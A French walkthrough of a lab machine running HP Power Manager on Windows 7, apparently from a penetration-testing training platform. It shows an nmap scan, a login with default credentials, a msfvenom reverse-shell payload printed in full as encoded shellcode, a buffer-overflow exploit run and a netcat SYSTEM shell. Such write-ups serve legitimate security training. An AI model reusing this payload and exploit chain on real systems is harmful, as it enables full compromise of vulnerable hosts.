# Kevin

`HP Power Manager`

* Nom machine : Kevin
* Difficulté : Facile
* OS : Windows

## Enumération

### NMAP

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-09 11:38 EDT
Nmap scan report for 192.168.242.45
Host is up (0.035s latency).
Not shown: 65523 closed tcp ports (conn-refused)
PORT      STATE SERVICE            VERSION
80/tcp    open  http               GoAhead WebServer
| http-title: HP Power Manager
|_Requested resource was http://192.168.242.45/index.asp
|_http-server-header: GoAhead-Webs
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows 7 Ultimate N 7600 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: KEVIN
|   NetBIOS_Domain_Name: KEVIN
|   NetBIOS_Computer_Name: KEVIN
|   DNS_Domain_Name: kevin
|   DNS_Computer_Name: kevin
|   Product_Version: 6.1.7600
|_  System_Time: 2024-08-09T15:40:28+00:00
| ssl-cert: Subject: commonName=kevin
| Not valid before: 2024-08-02T01:53:02
|_Not valid after:  2025-02-01T01:53:02
|_ssl-date: 2024-08-09T15:40:36+00:00; 0s from scanner time.
3573/tcp  open  tag-ups-1?
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49160/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: KEVIN; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-08-09T15:40:28
|_  start_date: 2024-08-09T15:37:56
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h23m59s, deviation: 3h07m49s, median: 0s
| smb-os-discovery: 
|   OS: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::-
|   Computer name: kevin
|   NetBIOS computer name: KEVIN\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-08-09T08:40:28-07:00
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: KEVIN, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:17:98 (VMware)
```

### HTTP (80) : GoAhead WebServer

HP Power Manager

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FKtyI9vIpBBj2y65gTz5O%2F42f90ddd24c328d39f9f02f0804e3fd6.png?alt=media&#x26;token=bc8e762b-9dbd-4001-9c71-a0f26065356d" alt=""><figcaption></figcaption></figure>

Nous avons essayé admin:admin et cela fonctionne.

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FyH6yudedSwreiQwvY6Op%2Ff3bde04131e5166ebf814ba4c17a8bf8.png?alt=media&#x26;token=0dc9550b-0500-4c67-a26c-c79542ccadb0" alt=""><figcaption></figcaption></figure>

En explorant nous trouvons le numéro de version.

## Accès initial

Nous avons trouvé également un exploit

{% embed url="<https://www.exploit-db.com/exploits/10099>" %}

Nous en avons essayé d'autres mais sans succès. Nous avons également testé celui-ci avec divers port mais uniquement le port 80 fonctionne.

Après avoir télécharger l'exploit sur notre machine, nous avons généré un payload comme demandé avec msfvenom.

```
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.199 LPORT=80 -f c -b "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a" -e x86/alpha_mixed
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 709 (iteration=0)
x86/alpha_mixed chosen with final size 709
Payload size: 709 bytes
Final size of c file: 3013 bytes
unsigned char buf[] = 
"\x89\xe0\xda\xcd\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a"
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41"
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42"
"\x75\x4a\x49\x49\x6c\x4b\x58\x6f\x72\x47\x70\x45\x50\x73"
"\x30\x75\x30\x6d\x59\x79\x75\x75\x61\x79\x50\x65\x34\x6c"
"\x4b\x42\x70\x70\x30\x6c\x4b\x53\x62\x56\x6c\x4e\x6b\x33"
"\x62\x35\x44\x4c\x4b\x64\x32\x37\x58\x56\x6f\x6f\x47\x31"
"\x5a\x74\x66\x55\x61\x59\x6f\x4c\x6c\x35\x6c\x71\x71\x53"
"\x4c\x74\x42\x34\x6c\x65\x70\x7a\x61\x6a\x6f\x66\x6d\x63"
"\x31\x38\x47\x7a\x42\x78\x72\x62\x72\x30\x57\x4e\x6b\x71"
"\x42\x74\x50\x6e\x6b\x62\x6a\x77\x4c\x6e\x6b\x32\x6c\x32"
"\x31\x61\x68\x49\x73\x50\x48\x63\x31\x7a\x71\x72\x71\x4c"
"\x4b\x50\x59\x67\x50\x73\x31\x4a\x73\x6e\x6b\x33\x79\x64"
"\x58\x4b\x53\x55\x6a\x31\x59\x4c\x4b\x34\x74\x6c\x4b\x55"
"\x51\x5a\x76\x76\x51\x69\x6f\x4e\x4c\x4a\x61\x78\x4f\x76"
"\x6d\x55\x51\x69\x57\x54\x78\x49\x70\x71\x65\x5a\x56\x37"
"\x73\x63\x4d\x6c\x38\x35\x6b\x31\x6d\x44\x64\x72\x55\x6d"
"\x34\x76\x38\x6e\x6b\x73\x68\x51\x34\x73\x31\x6b\x63\x62"
"\x46\x6c\x4b\x64\x4c\x62\x6b\x6e\x6b\x73\x68\x45\x4c\x43"
"\x31\x38\x53\x4e\x6b\x33\x34\x4c\x4b\x43\x31\x4a\x70\x6c"
"\x49\x30\x44\x76\x44\x67\x54\x61\x4b\x61\x4b\x51\x71\x42"
"\x79\x53\x6a\x70\x51\x6b\x4f\x69\x70\x71\x4f\x33\x6f\x61"
"\x4a\x6e\x6b\x64\x52\x68\x6b\x6c\x4d\x71\x4d\x62\x48\x34"
"\x73\x67\x42\x77\x70\x35\x50\x61\x78\x70\x77\x61\x63\x30"
"\x32\x53\x6f\x71\x44\x55\x38\x32\x6c\x51\x67\x47\x56\x63"
"\x37\x39\x6f\x4b\x65\x4d\x68\x6a\x30\x35\x51\x43\x30\x65"
"\x50\x76\x49\x4a\x64\x36\x34\x52\x70\x55\x38\x61\x39\x6f"
"\x70\x62\x4b\x45\x50\x39\x6f\x6e\x35\x32\x70\x32\x70\x36"
"\x30\x72\x70\x33\x70\x72\x70\x61\x50\x56\x30\x62\x48\x4a"
"\x4a\x76\x6f\x4b\x6f\x6d\x30\x69\x6f\x5a\x75\x6e\x77\x32"
"\x4a\x43\x35\x55\x38\x4f\x30\x69\x38\x74\x6d\x49\x57\x61"
"\x78\x63\x32\x47\x70\x45\x50\x52\x70\x6b\x39\x4b\x56\x43"
"\x5a\x62\x30\x61\x46\x73\x67\x50\x68\x6c\x59\x6d\x75\x64"
"\x34\x70\x61\x6b\x4f\x78\x55\x4d\x55\x6f\x30\x30\x74\x66"
"\x6c\x69\x6f\x42\x6e\x67\x78\x52\x55\x78\x6c\x33\x58\x58"
"\x70\x4e\x55\x4f\x52\x71\x46\x39\x6f\x6b\x65\x63\x58\x30"
"\x63\x30\x6d\x70\x64\x73\x30\x4b\x39\x5a\x43\x31\x47\x30"
"\x57\x43\x67\x66\x51\x6a\x56\x62\x4a\x72\x32\x33\x69\x52"
"\x76\x6d\x32\x39\x6d\x51\x76\x39\x57\x53\x74\x75\x74\x67"
"\x4c\x75\x51\x56\x61\x6c\x4d\x57\x34\x34\x64\x44\x50\x48"
"\x46\x65\x50\x73\x74\x71\x44\x36\x30\x33\x66\x42\x76\x71"
"\x46\x43\x76\x53\x66\x30\x4e\x53\x66\x62\x76\x61\x43\x50"
"\x56\x65\x38\x33\x49\x4a\x6c\x35\x6f\x4d\x56\x69\x6f\x4e"
"\x35\x4c\x49\x4b\x50\x50\x4e\x62\x76\x51\x56\x59\x6f\x56"
"\x50\x70\x68\x33\x38\x6c\x47\x55\x4d\x61\x70\x6b\x4f\x4a"
"\x75\x6d\x6b\x38\x70\x48\x35\x6f\x52\x62\x76\x45\x38\x79"
"\x36\x4e\x75\x6d\x6d\x4f\x6d\x39\x6f\x48\x55\x45\x6c\x34"
"\x46\x51\x6c\x76\x6a\x4b\x30\x49\x6b\x6b\x50\x44\x35\x47"
"\x75\x6f\x4b\x77\x37\x37\x63\x42\x52\x42\x4f\x43\x5a\x73"
"\x30\x32\x73\x39\x6f\x59\x45\x41\x41";
```

Nous avons remplacé à l'endroit demandé (en dessous de n00b) puis avons exécuté le script.

```
┌──(kali㉿kali)-[~]
└─$ python2 exploit.py 192.168.235.45
HP Power Manager Administration Universal Buffer Overflow Exploit
ryujin __A-T__ offensive-security.com
[+] Sending evil buffer...
HTTP/1.0 200 OK

[+] Done!
[*] Check your shell at 192.168.235.45:80 , can take up to 1 min to spawn your shell
```

Nous avons lancé un listeneur

```
┌──(kali㉿kali)-[~]
└─$ nc 192.168.235.45 80
connect to [192.168.45.199] from (UNKNOWN) [192.168.235.45] 49187
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

Bingo !
